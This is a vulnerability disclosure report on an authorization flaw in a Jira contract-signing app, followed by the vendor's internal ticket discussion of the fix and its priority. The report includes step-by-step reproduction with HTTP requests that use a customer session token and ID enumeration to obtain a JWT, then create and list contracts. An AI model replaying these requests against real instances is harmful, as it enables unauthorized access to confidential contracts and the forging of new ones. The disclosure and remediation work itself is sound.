Unauthorized Access gained from Jira Service Desk customer.account.session.token
Description
It was identified that a user with "customer" privileges on a Jira Service Desk portal is capable of listing contracts linked to their created request via the portal. Moreover, they can create new arbitrary contracts also linked to this request, despite not having direct access to Jira.
Details
Initially, a service project was established, and subsequently, a customer account was registered on that portal.
Next, a request was sent authenticated as a customer to the service desk project, as illustrated below:
The admin created a contract linked to the issue that the customer created through the portal.
Note that the customer does not have access to the contract linked to the issue.
The following image shows the requests made to obtain the customer user's session token in the "Contract Signatures" application:
-
Request sent to obtain a contextURL, by specifying the service project ID and the customer-created request ID in the URL.
-
Then, a GET request was submitted to the contextUrl to retrieve a valid JWT in the server response:
Subsequently, it was possible to create a contract linked to issue 10099
(SUP-13
created by the customer), using the customer user's session token:
The following image shows that it was possible to access all contracts associated with issue 10099
, using the customer user's session token:
Impact
This vulnerability compromises the confidentiality of the contracts linked to the request submitted by the customer. The customer does not have access to the attachments of the issue (created by agents) and lacks access to the application via the helpdesk portal. Additionally, attackers can create arbitrary contracts, allowing them unauthorized influence and control over contract management processes. This exposure could lead to serious data breaches and unauthorized contractual obligations being imposed without proper oversight or authorization.
Steps to Reproduce
-
Log in as an administrator in Jira and install the “Contract Signature for Jira” app.
-
Create a service project in Jira.
-
Access the created service project and copy the project portal URL from the "channels" menu.
-
Access the portal URL in another browser and register a customer account.
-
As the customer user, submit a request via the portal.
-
In your browser's developer tools, copy the
customer.account.session.token
cookie. -
Replace
{your-domain}
in the following request with your Jira hostname:
-
Replace
{customer-cookie}
with the copied value (customer cookie). -
Increment the
project.id
parameter by 1 until reaching the correct ID of the request created via the portal.-
Once the correct ID is reached, it will be reflected in the
collectionId=[project-id]
parameter in the server response.
-
-
Increment the
issue.id
parameter by 1 until reaching the correct ID of the request created via the portal. -
Once the correct ID is reached, it will be reflected in the
refId=[issue-id]
parameter in the server response.
POST /plugins/servlet/ac/document-sign-jira/document-sign-issue-view?classifier=json&project.id=10002&issue.id=10099 HTTP/2
Host: {your-domain}.atlassian.net
Cookie: customer.account.session.token=
-
Copy the URL in the URL parameter.
-
Submit a GET request to the copied URL.
-
Copy the JWT in the server response (
<input type="hidden" name="jwt" value="
).
Vulnerability Reproduction
-
Submit the following request after replacing
{customer-jwt}
and{issue-id}
with the obtained values:-
Create a contract:
-
POST /connect/document-sign-jira/create-contract? HTTP/1.1
Host: contract-signatures.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 1570
Origin: https://contract-signatures.com
name=Contract-name-bugcrowd-poc&expirationTime=2024-06-27T04%3A00&timeZone=America%2FSao_Paulo&prependTitle=on&refId={issue-id}&collectionId=10000&version=0&jwt={customer-jwt}&dynamic%3APerson+A=true&name%3APerson+A=bugcrowd1&email%3APerson+A=lopseg%2Btest1%40bugcrowdninja.com&phone%3APerson+A=&accessKind%3APerson+A=EMAIL&signingMethodDraw%3APerson+A=DRAW&signingMethodUpload%3APerson+A=UPLOAD&signingMethodRender%3APerson+A=RENDER&otpMethod%3APerson+A=EMAIL&receivesCompletedContract%3APerson+A=1&receivesCompletedContract%3APerson+A=on&dynamic%3APerson+B=true&name%3APerson+B=lopseg2&email%3APerson+B=lopseg%2Btest2%40bugcrowndinja.com&phone%3APerson+B=&accessKind%3APerson+B=EMAIL&signingMethodDraw%3APerson+B=DRAW&signingMethodUpload%3APerson+B=UPLOAD&signingMethodRender%3APerson+B=RENDER&otpMethod%3APerson+B=EMAIL&receivesCompletedContract%3APerson+B=1&receivesCompletedContract%3APerson+B=on&action=create
-
Access issue contracts:
GET /connect/document-sign-jira/list?order-by=CREATION_DATE_DESC&refId={issue-id}&jwt={customer-jwt} HTTP/1.1
Host: contract-signatures.com
-
Observe that it was possible to perform these operations without proper authorization.
New version of the app has been published.
Hello @Krzysztof Surdacki,
Please merge code to dev branch.
This is the best moment to add more information that can be helpful to prepare release notes.
Can you prepare short overview of change that can be used in release notes?
Please provide short GIF that showcase feature.
If GIF make no sense, can you provide image that highlights feature that can be used in release notes (cropped & annotated)?
Fix verified - QA env
Hello @Krzysztof Surdacki
This is the best moment to add more information that can be helpful for tester.
What areas are affected?
What are potential edge cases?
Was it checked for XSS problems?
Does change affect security, is new data exposed?
Please attach - Before / After screenshot if possible.
Hello @Krzysztof Surdacki,
Task is ready for review.
@Krzysztof Surdacki please make sure reviewer
have easy access to contend to be reviewed.
If this is code change. Please make sure PR is created.
If this is new documentation, blogpost, etc. Please provide link to page.
First working solution
Add
can-use-jira-core={condition.can_use_application(applicationKey=jira-core)}
URL parameter tocommonQuery
inapplication.json
and check this value during jwt validation.Remarks
We should fortified every addon endpoint with such conditional URL parameters:
check if user can access jira:
can-use-jira-core={condition.can_use_application(applicationKey=jira-core)}
or confluencecan-use-confluence={condition.user_can_use_confluence}
first of allcan user add attachment
can-add-attachment={condition.has_issue_permission(permission=CREATE_ATTACHMENTS)}
/can-add-attachment={condition.has_attachment_permission(permission=EDIT)}
and so on ...
Proposition
I thinking about a general mechanizm for protecting our addons endpoints:
AtlassianAuthHandler
could examine allhas-access
parameters fortrue
values.As a backward compatibility, lack of such parameters would allow access.
Then in
atlassian-connect.json
we could assemble URLs like this:/list?refId={issue.id}&collectionId={project.id}&has-access={condition.can_use_application(applicationKey=jira-core)}&has-access={{condition.has_issue_permission(permission=CREATE_ATTACHMENTS)}
We have to check how parameters with the same name are hashed in Atlassian JWT qsh 🤔 so that no one could remove some of the
has-access
parameters. I think we can always put all of those conditions in one parameter somehow separated likehas-access={condition.can_use_application(applicationKey=jira-core)},{{condition.has_issue_permission(permission=CREATE_ATTACHMENTS)}
. Anyway more security exploration is required.Using context parameters may solve this issue.
https://developer.atlassian.com/cloud/jira/platform/context-parameters/#conditions-in-query-parametersJWT payload from POST plugins/servlet
JWT payload fron Jira iframe
Subject prefix differs
qm:
vs.557058:
.Is
qm:
prefix for service desk portal users ? Question never answered: https://community.developer.atlassian.com/t/service-desk-user-jwt-token-subject/58699/13ACT_AS_USER only grant could solve a lot of security problems
query params returned in POST plugins/servlet
query params from Jira iframe
THERE IS NO DIFFERENCE ‼️
Postman collection reproducing vulnerability:
https://developer.atlassian.com/cloud/jira/software/conditions/#can_use_application-condition
but
I decreased the priority because the attacker gains access to contracts created from issue submitted by the attacker through servicedesk only, so ...
Contract content created form the issue description is already known to the attacker, as he created it himself.
There is no real life use case for creating contracts from issue submitted through servicedesk.
‼️ POST https://{ subdomain }.atlassian.net/plugins/servlet/ac/document-sign-jira/document-sign-issue-view?classifier=json&project.id={ projectId }&issue.id={ issueId }
with cookie
customer.account.session.token
copied from service deskcreates response with
url
to https://{ subdomain }.surdacki.tech/connect/document-sign-jira/list with valid jwt…After listing, a new jwt is created which now can be used to contract management too on this issue.